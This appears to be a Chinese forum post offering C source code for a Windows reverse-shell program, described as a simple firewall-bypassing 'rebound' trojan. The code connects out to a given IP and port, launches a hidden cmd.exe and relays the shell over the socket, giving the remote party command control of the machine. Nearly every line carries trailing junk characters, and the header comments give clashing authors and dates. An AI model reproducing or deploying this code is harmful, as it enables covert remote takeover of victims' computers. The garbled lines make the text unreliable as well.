这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 A- IpE
yd5r]6ej
/* ============================== punc'~
Rebound port in Windows NT 34U/"+|z
By wind,2006/7 ^#e:q
===============================*/ orf21N+ [
#include !cT#G
#include NS6Bi3~
LlL\7?_;
#pragma comment(lib,"wsock32.lib") j,eeQ KH
vp &jSfQ^
void OutputShell(); ?I)-ez
SOCKET sClient; 1 9a"@WB@
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; %yJL-6U
r]Da4G^
void main(int argc,char **argv) zTrAk5E
{ `zRgP#
WSADATA stWsaData; yAR''>
int nRet; g"(
vl-Uw
SOCKADDR_IN stSaiClient,stSaiServer; _WtX8
4fw>(d(2
if(argc != 3) )mxY]W+
{ W&}YMb
printf("Useage:\n\rRebound DestIP DestPort\n"); lYT}Nc4"="
return; 1K^blOLXe
} _ZIaEJjH/
(qlIQC
WSAStartup(MAKEWORD(2,2),&stWsaData); hE-`N,i}
4?g~GI3
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); o1MI&}r
C\dQ6(3}\
stSaiClient.sin_family = AF_INET; 8^&)A b
stSaiClient.sin_port = htons(0); f!e8xDfA
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); &1893#V
F}<&@ 7kF
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) e<YC=67n)
{ COc1np
printf("Bind Socket Failed!\n"); r^_8y8&l
return; *ZyIbT
} a-x8LfcbF
6(B0gBCId
stSaiServer.sin_family = AF_INET; |OF<=GGO+
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); aoz+g,1
//
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); HnUM:-6
-aLBj?N c[
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) a+)Yk8%KY
{ 3l->$R]
printf("Connect Error!"); je9[S_Z:Y
return; I/jMe'Kp
} 39S}/S)
OutputShell(); Run)E*sf
} |;6FhDW+'
Lg|j0-"N
void OutputShell() MA.1t
{ huWUd)Po%
char szBuff[1024]; k7>* fQ89@
SECURITY_ATTRIBUTES stSecurityAttributes; ] $$ciFM
OSVERSIONINFO stOsversionInfo; JVwYV5-O<0
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe;
N~EM`d
STARTUPINFO stStartupInfo; 3ypB~bNw
char *szShell; -
4' yp
PROCESS_INFORMATION stProcessInformation; hUSr1jlA
unsigned long lBytesRead; rl'YyO}2
RZjTUMAz4
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ruS/Yh
KArf:d
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); J*U,kyYF
stSecurityAttributes.lpSecurityDescriptor = 0; )M#~/~^f+
stSecurityAttributes.bInheritHandle = TRUE; v+znKpE
kGc;j8>."
)K -@{v^|
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); FlOKTY
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); )AXTi4MNp
r-^Ju6w{
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); =+T{!+|6P
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; p+snBaAo}
stStartupInfo.wShowWindow = SW_HIDE; uZz^>*b
stStartupInfo.hStdInput = hReadPipe; |q^e&M<
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Bqv Oi~l
:(} {uG
GetVersionEx(&stOsversionInfo); PQWo<Uet
Ik>sd@X*|
switch(stOsversionInfo.dwPlatformId) _:+W0YS
{ 0gm+R3;k^
case 1: rs~RKTv-
szShell = "command.com"; ZL #4X*zT
break; Cj"k
Fq4
default: d~g
szShell = "cmd.exe"; YgQ_P4B;
break; dZ9[w kn
} E+dr\Xhv
L'J$jB5cP
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); P%xk
c;Hf +n
send(sClient,szMsg,77,0); +NxEx/{
while(1) W~.1f1)
{ *1ekw#'
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); $d:/cN
8E
if(lBytesRead)
8yOzD
{ :)g=AhBF
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); {K*l,U
send(sClient,szBuff,lBytesRead,0); 2etcSU(y>
} |bi"J;y
else w)&] k#r
{ 9TO
lBytesRead=recv(sClient,szBuff,1024,0); `dMOBYV
if(lBytesRead<=0) break; .Ig`v
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); >9esZA^';
} +VdYT6{p
} 7{D+\i
KOV^wSwS
return; I= x
}